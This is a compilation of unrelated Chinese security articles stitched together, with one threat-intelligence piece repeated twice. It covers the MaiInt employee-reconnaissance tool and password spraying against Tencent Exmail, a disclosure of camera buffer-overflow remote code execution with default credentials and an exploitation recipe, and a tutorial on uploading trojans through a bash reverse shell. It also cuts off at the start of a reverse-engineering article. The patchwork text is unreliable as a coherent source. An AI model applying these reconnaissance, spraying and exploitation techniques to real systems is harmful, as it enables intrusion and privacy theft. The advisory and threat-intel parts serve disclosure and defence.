以上POST包可以通过移动变换URL链接中的参数来变形成为类似以下的GET请求:

GET /maimai/user/v3/login?account=<censored&account=<censored+URL+encoded+phone+number>&appid=4&cnt=1&dev_type=4&dname=<censored+device+name>&new_fr=1&password=<censored+password>&stage=complete_uinfo account
Host: open.taou.com
Connection: close
Accept: */*
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_1 like Mac OS X) AppleWebKit/604.4.7 (KHTML, like Gecko) Mobile/15C153/{iPhone10,4} [iOS 11.2.1]/MaiMai 4.18.8(4.18.8.9)
Accept-Language: en-GB;q=1, zh-Hant-GB;q=0.9, zh-Hans-GB;q=0.8
Accept-Encoding: gzip, deflate

以上请求发出后,得到的响应内容如下:

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 01 Jan 2018 09:38:33 GMT
Content-Type: application/json; charset="utf-8"
Connection: close
Vary: Accept-Encoding
Content-Length: 4223
{"has_weibo": 0, "token": "<censored token>", "has_password": 1, "user": {"meeting_partake_count": 0,
<...snip for brevity...>
"education": [], "id": <censored ID>, "ht_city": null, "job_count": 0, "cshow_url": "[http](https://maimai.cn/show?webuid=TsJ6oBCd&srcu=TsJ6oBCd&profession=0&src=app&regfr=cshow&abtype=0&turl=http%3A//taou.cn/d/7lnZp)
<...snip for brevity...>

在上述响应内容中,我们得到了用来作身份验证的token和用户账号ID,还可用这些信息来作search搜索请求。

把中文转码为URL编码

以下在Stack Overflow论坛中给出的发贴展示了如何插入中文字符,并以%格式输出URL编码字符。大家可以点看看。

在Windows系统中设置中文输入

现在,有了把中文字符转化为URL编码的方法,唯一剩下的问题就是需要在Windows系统中设置中文输入。找了找我发现只要设置系统语言环境即可,从控制面板 – 区域 – 管理 – 更改系统区域设置,选择中文(简体,中国)。

MaiInt:基于脉脉应用的中国公司雇员信息收集工具MaiInt:基于脉脉应用的中国公司雇员信息收集工具设置之后重启系统,就可以在输入框中添加进入拼音的中文键盘输入。

中文姓名 VS 电子邮箱格式

在西方, 英文姓名有first name、middle name 和 last name, last name 也就是我们说的姓氏,通常是英文姓名中的最后一个字段。但是,中文姓名与英文姓名相反,姓氏都是姓名中的第一个字。因此,从英文姓名到电子邮件格式的转换相对简单,但是,从中文姓名到电子邮件格式的转换却是反过来的,有所不同。

例如,英文姓名到邮箱的格式转化是这样的:

Jane Doe -> [email protected]

但中文却是这样的:

王雪娇 -> wang xue jiao -> [email protected] / [email protected]

我们需要把中文转化为拼音字符然后再把它组合为邮箱格式,但是,由于中文同音字的原因,很难准确把真实的中文姓名转化为拼音字符,例如,在 ni 的拼音输入法中,存在好多同音字:你,尼,泥,妮,拟,倪,腻,逆,昵,昵……,输入法中的 ni 的第1个选项代表“你”,第2个选项代表 “尼”,以此类推。但好在JSON输出中存在一个貌似是拼音的py属性。

加入邮箱发现神器 Hunter 功能

至此,我们熟悉了中文语法相关的姓名和邮箱结构格式,可以用邮箱发现神器 Hunter 来尝试看看大致的一些中文姓名邮箱。Hunter官网Hunter.io就能搜索出一些相关结果,它可以通过公司网站域名来匹配互联网上公开的邮箱,最后会把匹配搜索邮箱分类为通用格式。另外,Hunter还具备邮箱有效性验证、批量导入域名获取邮箱、批量查询以及Chrome浏览器插件等实用功能,非常方便邮箱发现识别。以下为Hunter.io对饿了么公司( ele.me)的邮箱识别:

MaiInt:基于脉脉应用的中国公司雇员信息收集工具Hunter.io对邮箱识别的首要模式是first.last姓在前名在后,但也有一些名在前姓在后(last.first)的识别发现,如其中的一个可能发现为,姓名拼音结构为ZhuPengfei,邮箱格式为Pengfei [email protected]。Hunter确实很牛,像LinkedInt中也加入了其识别功能,在我开发的MaiInt中,如果使用者不喜欢Hunter的首要识别模式,我会给出其它选择模式。

MaiInt Github 项目

MaiInt 项目地址为 https://github.com/vysec/MaiInt ,运行后的显示界面为:MaiInt:基于脉脉应用的中国公司雇员信息收集工具以下为HTML和CSV的报告结果实例: MaiInt:基于脉脉应用的中国公司雇员信息收集工具MaiInt:基于脉脉应用的中国公司雇员信息收集工具

延伸利用-密码喷洒-自动化密码验证

密码喷洒(Password spraying),某种程度上也可叫暴力破解登录,它是通过入侵某个资产设备实现对组织机构进行渗透的常见方式之一。与外国不同,在中国,Microsoft Outlook 和 Exchange不是常用的在线邮箱应用,受众率较高的是腾讯QQ旗下的Exmail企业邮箱服务,各大公司通过该购买该邮箱服务配置成为自身企业服务。

有了以上MaiInt的数据收集应用,综合暴力破解登录就有点意思了。通过分析我发现,腾讯的Exmail企业邮箱服务在登录界面没有部署有即时的多因子身份认证机制(MFA),所以,我首先想到的就是用Burpsuite来抓包分析。之后我发现在登录请求消息中并未包含有密码信息,但却在p参数处存在一个 base64 十六进制编码的二进制大对象(blob)。

我查看了Exmail登录界面的源码,在提交处发现了以下的JavaScript验证格式信息:

<form name="form1" method="post" action="/cgi-bin/login" onsubmit="return checkInput();">

这里,我们可以看到,方法checkInput()被调用,后来我在登录界面的源码中发现了checkInput()方法的具体源码:

function checkInput() {
    window.org_pass = S("pp").value;
    if (!window.RSAKey) {
        document.getElementById("downError").style.display = "block";
        document.getElementById("returnMsg").style.display = "none";
        return false;
    }
    if (!checkCookie()) {
        return false;
    }
var inputUin = document.form1.qquin.value.toLowerCase();
    if (inputUin == "") {
        showMsg("emptyUserName");
        document.form1.qquin.focus();
        return false;
    }
var re = /^\d+$/;
if (inputUin.indexOf("[@qq](http://twitter.com/qq).com") > 0 || inputUin.indexOf("[@vip](http://twitter.com/vip).qq.com") > 0 || inputUin.indexOf("[@foxmail](http://twitter.com/foxmail).com") > 0) {
        showMsg("errorLoginWithQQAccount");
        return false;
    } else if (inputUin.indexOf("@") > -1) {
        showMsg("errorUserName");
        return false;
    } else {
        document.form1.uin.value = document.form1.qquin.value + "[@mogujie](http://twitter.com/mogujie).com";
    }
    if (document.form1.pp.value == "") {
        showMsg("emptyPassword");
        document.form1.pp.focus();
        return false;
    }
if (document.form1.pp.value.length >= 100) {
        showMsg("errorPassowrdTooLong");
        document.form1.pp.focus();
        return false;
    }
if (S("VerifyArea").style.display != "none") {
        if (document.form1.verifycode.value == "验证码") {
            document.form1.verifycode.value = "";
        }
        if (document.form1.verifycode.value == "") {
            showMsg("emptyVerifyCode");
            document.form1.verifycode.focus();
            return false;
        }
    } else {
        document.form1.verifycode.value = "";
    }
var PublicKey = "CF87D7B4C864F4842F1D337491A48FFF54B73A17300E8E42FA365420393AC0346AE55D8AFAD975DFA175FAF0106CBA81AF1DDE4ACEC284DAC6ED9A0D8FEB1CC070733C58213EFFED46529C54CEA06D774E3CC7E073346AEBD6C66FC973F299EB74738E400B22B1E7CDC54E71AED059D228DFEB5B29C530FF341502AE56DDCFE9";
    var RSA = new RSAKey();
    RSA.setPublic(PublicKey, "10001");
    var PublicTs = "<censored random ts value>";
var Res = RSA.encrypt(document.form1.pp.value + '\n' + document.form1.ts.value + '\n');
    if (Res) {
        if (document.form1.chg.value == 1) {
            document.form1.p.value = hex2b64(Res);
        } else {
            if (document.form1.ppp.value != "") {
                document.form1.p.value = document.form1.ppp.value;
            } else {
                document.form1.p.value = hex2b64(Res);
            }
        }
    }
    var MaskValue = "";
    for (var Loop = 0; Loop < document.form1.pp.value.length; Loop++, MaskValue += "0");
    document.form1.pp.value = MaskValue;
setCookieAlias(document.form1.uin.value, document.form1.domain.value);
return true;
}

以上脚本用S(“pp”).valu获取 pp 的值,并执行其它各种检查以确保存在RSA密钥和相应的用户cookie,之后对邮箱地址进行校验确保其为有效的Exmail企业账户,而且也会对登录密码长度作出验证,不能超过100个字符。

当所有校验验证完成之后,脚本会调用密码信息并附加上随机生成的PublicTs值,然后利用RSA公钥加密密码,并把加密内容转化成一个base64编码的二进制大对象(blob),该blod会在之后的 p 参数请求中用到。当该应用的服务器收到这个编码的blob值,会在服务端执行解码和验证操作。

这种加密机制是为了防止恶意攻击者抓包分析流量从而还原出用户密码,是一种很好的用户信息保护机制。也就是说,如果Burpsuite的Intruder模块中存在RSA加密密码,且不创建新插件时,我是看不到实际密码的。为此,我在和朋友  @evi1cg 交流过程中,他向我推荐了一篇《腾讯企业邮箱登陆爆破》的文章。

从该文中可以看到,中国国内安全研究者早在2017年2月,就已经编写好了一个可以暴力破解登录腾讯企业邮箱Exmail的Python脚本。但是,由于中文和英文环境下密码复杂度和弱口令构成的不同,在我的密码破解登录测试中,并不算有效成功。但需要注意的是,很多大公司都对用户密码构成具备了一些不错的要求,在中国国内,数字如生日手机号等个人相关的密码用的较多,所以在我的利用中,这种密码猜解比通常的密码猜解要难一些。

结语

感谢阅读,希望大家都能有所收获。我们可以看到,虽然各个地区的技术类似,但不同领域采取的方式不一样,可能造成使用的工具和所获得的开源信息都会有所不同。基于互联网行业在中国的快速发展,中国国内有着更多自己的应用生态系统,而像俄罗斯和中东等其他地区都没有本国的相关应用,用的较多的职场社交应用也是LinkedIn。LinkedIn在中国虽没被禁用,但好像中国职场人士大多都喜欢用另一款 APP。因此,希望我的 MaiInt 你能喜欢。最后我还要推荐一个邮箱验证在线服务https://trumail.io/,它可以为开发类似MaiInt的OSINT工具提供更多帮助。

*参考来源:VincentYiu,clouds 编译,转载请注明来自 FreeBuf.COM

1. 事件概述

深圳市丽欧电子有限公司(NEO Coolcam,以下简称酷视)[1],是一家集网络数码产品研发、生产、营销于一体的高新技术企业,是国内最早进入网络摄像头领域的专业厂商之一。2004年成立国内摄像头研发中心,并取得多项国家专利,产品通过了国家质量检测部门的认证和CE、FCC等国际标准认证。

早在2017年08月02日,Bitdefender公司的安全研究人员就指出酷视旗下的高清网络摄像头NIP-22和Wi-Fi门铃iDoorbell等设备存在多个缓冲区溢出漏洞,十几万暴漏在公网上的相关设备受到潜在的安全威胁,并提供了相关研究报告[2]。2017年9月左右,我们观察到酷视的英文版官网上发布了最新的固件[3],修复了溢出漏洞。

2018年07月10日,在后续的对网络空间上易受漏洞影响的物联网设备的风险评估中,我们通过ZoomEye网络空间搜索引擎对相关漏洞设备进行搜索,共发现了65万的IP历史记录,其中在中国含该漏洞的设备数量最多,约为16.7万。此外,我们还有以下发现:

从酷视官方发布更新版固件到本文发布约一年的时间里,大部分设备依然没有安装更新版固件。原因有以下几点:

1、目标设备本身不具有自动升级机制;

2、普通用户不会意识到存在漏洞并手动更新固件;

3、更新版固件只发布在英文版官网中;

4、其他OEM厂商生产的设备也存在该漏洞。

在目标设备的固件审计过程中,我们发现了登录绕过漏洞,相关细节将在下面的章节中呈现。

这意味着还有很大数量的目标设备处于风险之中。知道创宇404实验室对酷视NIP-22FX这款摄像头的系列缓冲区溢出漏洞进行了深入研究,并成功从缓冲区溢出到远程代码执行,证实了该漏洞有被黑产利用的潜在风险。同时审计过程中发现了登录绕过漏洞,对用户隐私也是个严重的威胁。

2. 漏洞分析

2.1 目标设备的相关信息

设备版本:NeoCoolcam IPCam NIP-22FX
漏洞二进制文件:MD5 (ipc_server) = 312d924344364620d85099ed279a5f03
固件版本:V7.7.4.1.1-20160701

提供Web服务和RTSP服务的主程序为 ipc_server文件,目标系统为ARM、32位小端架构。

酷视(NEO Coolcam)网络摄像头

缓冲区溢出缓解措施为全部关闭状态。

酷视(NEO Coolcam)网络摄像头

2.2 登录绕过漏洞

摄像头 Web 服务基于 HTTP 基本认证,存在三组默认凭证,三组凭证对应不同的权限等级,安装时 APP 只会提醒修改 admin 账户的默认密码。三组默认凭证及对用的操作如下:

admin:admin,

user:user;

guest:guest;

酷视(NEO Coolcam)网络摄像头

值得一提的是,user 账户和 guest 账户也可以查看视频流,大部分用户不会修改这些账户的默认密码,导致隐私泄漏。

酷视(NEO Coolcam)网络摄像头

2.3 Web 服务基于缓冲区溢出的远程代码执行漏洞(无需认证)

2.3.1 漏洞细节分析

该溢出点位于地址 0x0007DE80 附近,该函数的处理逻辑是调用libs_parsedata函数解析URL中的usr和pwd,并将其分别存储到本函数栈帧的两块缓冲区中。

酷视(NEO Coolcam)网络摄像头

libs_parsedata函数的原型为:

int  libs_parsedata(int a1, int a2, char *needle, int a4, int a5, int a6){}

接受6个参数,从左往右依次为a1:原字符串,a2:原串的长度,needle:匹配待截取字符串的开头,a4:用来截取字符串的分隔符,a6:存储截取后字符串的目标缓冲区。

该函数的处理逻辑为:使用needle字符串和分隔符a4截取原字符串a1,截取后通过strncpy()函数将截取后的串写入a6所指的缓冲区中,写入的长度为截取字符串的长度,最后写入一个字节’\x00’。由于GET参数长度可控,当攻击者输入超出缓冲区长度的usr或pwd值时,会使缓冲区溢出。

酷视(NEO Coolcam)网络摄像头

2.3.2 漏洞利用分析

二进制文件ipc_server的缓冲区溢出措施皆为关闭状态,利用该缓冲区溢出漏洞的难度很低。利用过程中需要考虑到规避空白符、&、\x00等坏字符,空白符可用 ${IFS} 替代。

在ipc_server的0x0004E4D8地址处含有如下代码:

酷视(NEO Coolcam)网络摄像头

攻击者只需让返回地址指向地址0x0004E4D8,返回地址之后紧跟待执行的命令,即可成功从缓冲区溢出到远程代码执行。由于libs_parsedata函数会在字符串末尾写入一个\x00,可以同时利用两个溢出漏洞分别写入返回地址和待执行命令。

目标系统不含curl、nc、wget等命令,可将命令执行结果重定向之Web目录,之后访问HTTP接口即可获取执行结果。如果攻击者和摄像头在同一个网络环境,攻击者也可能开启目标系统的telnetd服务,实现对漏洞设备的完全控制。因为目标设备的文件系统以读写方式挂载,有被攻击者恶意篡改的风险。

在NIP-22FX上的复现结果如下:

酷视(NEO Coolcam)网络摄像头

2.3.3 补丁分析

在最新版的固件(V7.7.4.1.1-20170828)中,libs_parsedata函数加入了第七个参数,用以控制写入目标缓冲区的长度。

酷视(NEO Coolcam)网络摄像头

2.4 RTSP 服务基于缓冲区溢出的远程代码执行漏洞(无需认证)

2.4.1 漏洞细节分析

该溢出点位于地址0x006C6D4处,利用 sscanf 函数匹配 RTSP Header 中 Authorization: Digest key=”value” 中的key和value两部分内容并将之存到本函数堆栈,没有检查这两部分的长度,导致堆栈溢出。

酷视(NEO Coolcam)网络摄像头

2.4.2 漏洞利用分析

该漏洞的利用和2.3.2节中Web服务的缓冲区溢出漏洞利用方法一致,攻击者可利用两个溢出漏洞分别写入待执行的命令和返回地址,很容易的从缓冲区溢出提升到远程代码执行。

在NIP-22FX的复现结果如下,成功利用RTSP服务的缓冲区溢出开启了目标系统的telnetd服务。

酷视(NEO Coolcam)网络摄像头

2.4.3 补丁分析

在最新版的固件(V7.7.4.1.1-20170828)中,sscanf 的正则匹配表达式中加入了长度限制,最长为255字节,而缓冲区距离栈底为296字节,无法覆盖返回地址。

酷视(NEO Coolcam)网络摄像头

3. 漏洞影响范围

我们通过提取酷视NIP-22高清摄像头设备相关的“关键词”,在ZoomEye网络空间搜索引擎[4]上共发现了651,780个 IP历史数据。

酷视(NEO Coolcam)网络摄像头

我们通过对 ZoomEye 网络空间搜索引擎 “Error: username or password error,please input again.” 这个关键词得到的651,780条IP历史记录进行确认,发现其中58,413台设备仍然存活。

存活设备国家分布如下,可以看出这些漏洞设备主要分布在韩国、美国、中国等国家。由于中国的网络IP变化快,在中国的相关存活设备数量实际上不止5,878台。

酷视(NEO Coolcam)网络摄像头

存活设备在中国的省份分布如下,主要分布在香港,其次是台湾,ZoomEye网络空间搜索引擎上中国大陆地区的历史IP数据基本都已失效。

酷视(NEO Coolcam)网络摄像头

对以上存活的设备进行进一步统计分析,发现大部分设备均至少存在一种默认凭证。由此可见酷视高清摄像头设备普遍存在默认凭证,攻击者可使用默认凭证访问摄像头的视频流,有较大的隐私泄漏风险。值得一提的是,存活的设备中也有很多存在 admin:admin 默认凭证,攻击者可获得管理员身份,并可能通过上传精心制作的设备固件完全接管目标设备。

在对受漏洞影响的设备进行数据分析的过程中,我们发现存在大量设备是贴牌销售,设备固件存在极大的同源性,有的两个不同厂商之间的设备仅仅是换了个LOGO。

通过设备页面 ”/web/mainpage.html” 内容的md5值对不同OEM厂商进行区分,统计结果如下:

酷视(NEO Coolcam)网络摄像头酷视(NEO Coolcam)网络摄像头酷视(NEO Coolcam)网络摄像头

除了默认凭证问题,酷视高清摄像头NIP-22还存在无需认证的Web服务及RTSP服务缓冲区溢出漏洞,该溢出漏洞的利用难度很低,攻击者可基于此溢出漏洞远程执行任意命令。溢出发生后,watchdog进程会重启整个系统,攻击者也可利用这点使摄像头拒绝服务。由于固件的同源性,这两个溢出漏洞也有很大可能存在于其他OEM厂商生产的设备中。

4. 漏洞修复建议

4.1 对用户的修复建议

为避免隐私泄漏,建议用户尽快修复系列漏洞。

首先,用户可登录摄像头Web管理系统,在以下页面中修改三组默认凭证的用户名和密码。

酷视(NEO Coolcam)网络摄像头

其次,如果是酷视的设备,建议从酷视官网下载对应设备的最新版固件[3],并手动更新,以修复两个溢出漏洞。如果是其他OEM厂商的设备,可以尝试和厂商联系获取更新固件,并将设备同公网隔离。

酷视(NEO Coolcam)网络摄像头

4.2 对厂商的修复建议

由于这系列漏洞影响国内外几十个OEM厂商,请上表中可能存在漏洞的厂商自查,及时发布补丁固件并通知用户更新设备固件。

5. 总结

1. 存活设备中大部分以上都存在默认凭证,对于用户的隐私是个极大的威胁,用户应及时修改默认密码。

2. 这系列漏洞还可能影响国内外几十个OEM厂商。嵌入式设备固件开发过程中一般都会使用第三方的开源工具或通用软件,这些通用软件又通常由某一特定厂商研发,这就导致很多设备固件存在同源性,不同品牌的设备可能运行相同或者类似的固件以及包含相同的第三方库。漏洞曝出后,由于影响厂商众多,而并不是所有厂商都会发布漏洞补丁,这就导致网络空间上大量漏洞设备无法修复漏洞。

3. 近年来,路由器、摄像头、摄像机、NAS、智能穿戴设备等 IOT 设备的安全漏洞层出不穷,伴随着越来越多的嵌入式设备连入网络,总体安全形势日益突出,用户的个人隐私受到严重的威胁。一方面,厂商及开发者应不断提高自主研发设备的安全性。另一方面,漏洞是不可避免的。对于用户,应该努力提高自己的安全意识,尽量避免将此类设备直接暴露在网络空间上。对于各 IOT 厂商,针对目前安全漏洞曝出越来越频繁,及时修复漏洞,对产品提供自动升级机制是行之有效的方法。

6. 相关链接

[1] NEO Coolcam 官网
http://www.szneo.com/
[2] Bitdefender漏洞公告
https://www.bitdefender.com/box/blog/ip-cameras-vulnerabilities/neo-coolcams-not-cool-buffer-overflow/
[3] 官方更新固件下载地址
http://szneo.com/en/service/index.php
[4] ZoomEye网络空间探测引擎
https://www.zoomeye.org/searchResult?q=%22Error%3A%20username%20or%20password%20error%2Cplease%20input%20again.%22

*本文作者:Knowsec知道创宇,转载请注明来自 FreeBuf.COM

很多攻击事件其实都是偶然事件,因为那些“脚本小子”碰巧在目标网站上找到了一个常见的且利用难度不大的漏洞。那些大规模数据泄露事件往往都是通过精心策划来执行和实现的,而策划这样的攻击活动多多少少都会在网上留下痕迹。

暗网和加密聊天室情报将有助于预测黑客行为

IntSights成立于2015年,一直致力于在暗网中搜索这样的“痕迹”,并将其转换成一种智能化的威胁情报,而这些情报能够帮助研究人员在攻击发生之前了解到攻击者的所做所想。

金融行业是一个不太可能落入“脚本小子之手“的行业,因为针对金融行业的攻击往往需要通过精心策划,并花费大量的时间来设计攻击方案,没有足够技术的攻击者是无法成功实现入侵的。正因为如此,IntSight才认为这样的攻击是可以在其发生之前被检测到的,如果能够检测到,有关部门就能够对其进行有效的防范。

目前,研究人员已经收集到了大量的预攻击指标,而这些指标跟针对金融行业的实际攻击活动能够匹配上。这项研究(PDF)主要针对的是两大“预攻击指标“:暗网中出售的公司或客户数据,以及钓鱼邮件目标列表。根据这项研究的分析结果,IntSights发现金融行业是唯一一个最容易受到此类攻击的领域。

在2017年上半年,针对美国银行的平均攻击指标为207个,而在2018年上半年,这个数字增长到了520,增长幅度为151%。

这些数据来源于暗网中在售的金融数据,而这类数据在暗网中的销量同比增长了135%。除此之外,暗网中钓鱼目标列表里企业邮箱地址的数量增加了91%,企业凭证泄露数量增加了40%,被盗银行卡信息数量增加了149%。

暗网和加密聊天室情报将有助于预测黑客行为

在此之前,暗网中充斥着强制和毒品,但是在有关部门的高调整顿之后,IntSights认为暗网内的黑客们已经将出售非法数据作为他们的主要业务了。不过需要注意的是,虽然暗网中某些论坛隐藏得已经非常深了,但网络犯罪分子们却越来越不相信他们的“同行“了…

在同一时期,IntSights发现伪造的社交媒体账号数量的创建行为增长了49%,也就是说,每周都会增加两个新的针对单个银行的虚假社交媒体账号。

报告指出:“伪造的账号可以诱骗用户访问钓鱼网站并下载恶意软件,这种账号可以伪装成一种客户服务,并向客户寻要凭证信息,或者传递虚假的信息来误导用户。比如说,它们可以利用虚假信息从侧面影响公司股价,并导致公众购买或出售股票。“

暗网和加密聊天室情报将有助于预测黑客行为

根据报告中的统计数据,目前针对金融行业的三大领头的黑客组织分别是MoneyTakerCarbanakCobalt,而这三个黑客组织都被认为是俄罗斯黑客组织。业内广泛认为,Money Taker已经成功对美国、英国和俄罗斯境内的金融机构进行了超过20次的黑客攻击,Carbanak已经成功对银行、金融机构和零售行业进行了超过300次的攻击,而Cobalt甚至从俄罗斯Metakk投资银行成功窃取了970万美金。除了上述银行之外,欧洲、泰国、土耳其和台湾的银行也受到了200次以上的黑客攻击。

最后IntSights还指出,很多黑市供应商正在远离暗网,并转向使用类似Facebook隐私聊天组或加密聊天室(例如Telegram、ICQ和Jabber)这样的社交媒体平台。IntSights预计,这种趋势将会持续到明年,因为这类加密聊天室能够提供更好的隐私和保密服务。

* 参考来源:securityweek,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

很多攻击事件其实都是偶然事件,因为那些“脚本小子”碰巧在目标网站上找到了一个常见的且利用难度不大的漏洞。那些大规模数据泄露事件往往都是通过精心策划来执行和实现的,而策划这样的攻击活动多多少少都会在网上留下痕迹。

暗网和加密聊天室情报将有助于预测黑客行为

IntSights成立于2015年,一直致力于在暗网中搜索这样的“痕迹”,并将其转换成一种智能化的威胁情报,而这些情报能够帮助研究人员在攻击发生之前了解到攻击者的所做所想。

金融行业是一个不太可能落入“脚本小子之手“的行业,因为针对金融行业的攻击往往需要通过精心策划,并花费大量的时间来设计攻击方案,没有足够技术的攻击者是无法成功实现入侵的。正因为如此,IntSight才认为这样的攻击是可以在其发生之前被检测到的,如果能够检测到,有关部门就能够对其进行有效的防范。

目前,研究人员已经收集到了大量的预攻击指标,而这些指标跟针对金融行业的实际攻击活动能够匹配上。这项研究(PDF)主要针对的是两大“预攻击指标“:暗网中出售的公司或客户数据,以及钓鱼邮件目标列表。根据这项研究的分析结果,IntSights发现金融行业是唯一一个最容易受到此类攻击的领域。

在2017年上半年,针对美国银行的平均攻击指标为207个,而在2018年上半年,这个数字增长到了520,增长幅度为151%。

这些数据来源于暗网中在售的金融数据,而这类数据在暗网中的销量同比增长了135%。除此之外,暗网中钓鱼目标列表里企业邮箱地址的数量增加了91%,企业凭证泄露数量增加了40%,被盗银行卡信息数量增加了149%。

暗网和加密聊天室情报将有助于预测黑客行为

在此之前,暗网中充斥着强制和毒品,但是在有关部门的高调整顿之后,IntSights认为暗网内的黑客们已经将出售非法数据作为他们的主要业务了。不过需要注意的是,虽然暗网中某些论坛隐藏得已经非常深了,但网络犯罪分子们却越来越不相信他们的“同行“了…

在同一时期,IntSights发现伪造的社交媒体账号数量的创建行为增长了49%,也就是说,每周都会增加两个新的针对单个银行的虚假社交媒体账号。

报告指出:“伪造的账号可以诱骗用户访问钓鱼网站并下载恶意软件,这种账号可以伪装成一种客户服务,并向客户寻要凭证信息,或者传递虚假的信息来误导用户。比如说,它们可以利用虚假信息从侧面影响公司股价,并导致公众购买或出售股票。“

暗网和加密聊天室情报将有助于预测黑客行为

根据报告中的统计数据,目前针对金融行业的三大领头的黑客组织分别是MoneyTakerCarbanakCobalt,而这三个黑客组织都被认为是俄罗斯黑客组织。业内广泛认为,Money Taker已经成功对美国、英国和俄罗斯境内的金融机构进行了超过20次的黑客攻击,Carbanak已经成功对银行、金融机构和零售行业进行了超过300次的攻击,而Cobalt甚至从俄罗斯Metakk投资银行成功窃取了970万美金。除了上述银行之外,欧洲、泰国、土耳其和台湾的银行也受到了200次以上的黑客攻击。

最后IntSights还指出,很多黑市供应商正在远离暗网,并转向使用类似Facebook隐私聊天组或加密聊天室(例如Telegram、ICQ和Jabber)这样的社交媒体平台。IntSights预计,这种趋势将会持续到明年,因为这类加密聊天室能够提供更好的隐私和保密服务。

* 参考来源:securityweek,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

* 本文作者:Zzzxbug,本文属FreeBuf原创奖励计划文章,未经许可禁止转载

timg.jpg在本文中,我将介绍一款自己编写的小工具NcPutter,并用它来实现在只有bash反弹shell情况下的文件上传。

在渗透测试过程中,我们可能会遇到这样一种情景,即已将让目标机通过bash反弹shell与我们的机器建立了连接,需要向目标机上上传木马或其他可执行文件来做进一步提权或进行内网渗透,很多人可能会采用在目标机上执行wget、ftp、curl、nc等工具命令获取相关可执行文件,可这些方法有以下缺陷:

1.目标机不一定安装了这些软件,且目标机可能无法连接公网获取这些软件。

2.即使能够暗转安装这些软件,也会留下痕迹,清理起来比较麻烦。

那么,考虑在这种极端情况下,我们如何只通过目标机的bash反弹shell来上传文件呢,我的思路其实很简单,通过base64编码可执行文件,在我们的bash中向目标发送编码的字符串,然后在目标机将其base64解码还原,步骤很简单,但过程中还有一些细节需要注意,下面我们来实际操作一下。

我们本地机使用一台windows10,目标机使用一台最小化镜像安装的centos7(最小化安装就决定了它没有wget,也没有ftp等软件)。在上传一个真正的可执行文件之前,我们先尝试上传一个简单文本文件,看看我们的思路是否能行得通。

首先在本地利用windows自带的工具certutil来编码一个简单的文本,这里简单介绍一下certutil命令,certutil.exe是windows下用于备份证书服务管理的工具,支持xp-win10,它有许多的选项,

有兴趣的同学可以上官网看看它的用法:

https://docs.microsoft.com/en-us/previous-versions/orphan-topics/ws.10/cc755341(v=ws.10)

在渗透中它还可以用来当下载器:

https://www.cnblogs.com/backlion/p/7325228.html

不过我们这里只用它的-encode来base64编码文件。

它的用法是:certutil -encode originalFile targetFile,其中originalFile是我们的原始文件,targetFile是生成的base64编码后的文件。

这里我们准备一个test.txt,利用certutil将其base64编码:

certutil.gif

对生成的simple.txt我们还要做一些处理,将文件第一行与最后一行删除,并将所有的回车换行符(windows下为\r\n)替换为空,即让最终的simple.txt只剩下一行,这样才便于我们后面发送:

deal.gif待发送的数据我们已经处理完毕,下面在目标机上建立bash反弹连接并发送:

注意这echo命令要使用-n参数(在Windows上为-c参数),以免生成换行符,导致base64不识别。

发送完毕后,我们在linux的shell里面base64解码test.txt,比较生成的aa.txt,可以看出它的内容与我们本地原始的文件是一致的,说明我们通过这种方法传送文件的思路是可行的,那么下面我们就通过这种思路来实现上传可执行文件。

通常可执行文件的大小至少也是几十kb的,将其base64处理后,一行一行echo可是要累死的,我们当然不能干这种蠢事,这里我做了一款小软件来替我们干这苦力活,我叫它NcPutter,其实现原理是向nc的输入管道发送数据,相当于nc的一个外挂,目前它还只有windows版本,源码后面我会发布到GitHub,暂时先分享一下网盘链接:

链接:https://pan.baidu.com/s/1R_LVyaFSPv_MD2sp9KyC_Q 密码:49fk

下面介绍一下NcPutter的用法。

首先将NcPutter.exe与nc.exe以及经过处理的待发送文件放在同一目录下(经过处理是指一通过certutil进行了base64编码并删除了首尾两行并删除了回车换行符只剩下一行);

然后在cmd窗口中运行NcPutter.exe -p port -f file,这里的port即nc.exe要监听的端口,file即经过处理的待发送文件,在下面的演示中我们假设要传送termite的linux的agent端执行程序,根据目标机的linux版本选择好对应的agent版本:

choose.gif对这个可执行文件进行base64编码处理:

agentbase64.gif

可以看到base64编码后的字符串很长,利用echo一段发送是不现实的,因为有缓冲区大小限制,那么我们利用NcPutter来传送:

NcPutter1.gif

当NcPutter的窗口中出现“If the remote linux bash has been connected to the local nc.exe,press any key.”提示时,表明本地已经启动好nc.exe监听,等待linux端进行bash反弹,一旦bash反弹连接建立,在NcPutter中按下任意键即可自动发送刚刚的file参数指定的文件中的数据:

NcPutter2.gif

发送的数据会存储到result.txt这个文件中,随后NcPutter会调用base64 -d result.txt > originalFile,还原文件为originalFile,传送结束后,关闭NcPutter窗口,利用nc重新建立连接,检验一下originalFile是否可以正常工作:

check.gif检验完毕,还原出的originalFile即termite的agent端完全可以正常工作,利用bash反弹shell上传文件成功!

Tips:在Linux端一定要切换目录至可写目录下再反弹shell,不然会产生不了文件。

*本文作者:Zzzxbug,本文属FreeBuf原创奖励计划文章,未经许可禁止转载

文 / 阿里安全猎户座实验室 杭特

“如果杀毒软件厂商的自动化水平和能力,相当于天上的卫星,能看到地上奔跑的羚羊。那么,我们能做到什么程度?我们能看到羚羊身上的每个细胞。”

这是阿里安全资深专家、阿里安全猎户座实验室负责人杭特对旗下自动化逆向机器人TimePlayer的描述。虽然这个东东战力爆表,不过杭特淡淡地表示,这只是个开始……

什么是逆向?

黑客(或者白帽子)在很多人眼中属于非常神秘的种族,仿佛他们无所不能:破解设备,入侵系统,发现各种牛B的漏洞。逆向能力,就是这些黑客的基本功。其实,各行各业都有自己的基本功,比如学武术要先练站马步,否则下盘不稳,稍微推一下就倒;外科手术,手要既稳又灵活,否则手一抖,割错了地方,那就……当然基本功练到顶级,能达到出神入化的效果,比如武侠小说里内力深厚,可以把木枝当利剑,把树叶当飞镖。

那么黑客何时需要这个基本功呢?就是他需要搞清楚一个程序到底在做什么的时候。这里再举几个例子:早期国内企业想造汽车,又没有积累,怎么办呢?买一台日本车,把他大卸八块,发动机变速箱全都拆开,一块一块的研究,然后照葫芦画瓢仿制出自己的型号;一个病人来看病,医生有用听诊器加望闻问切,高级点的各种化验加CT核磁共振,都是为了发现这个病人有何异常;生物和医学研究,需要各种显微镜来观察细胞的各种运行状态,等等。

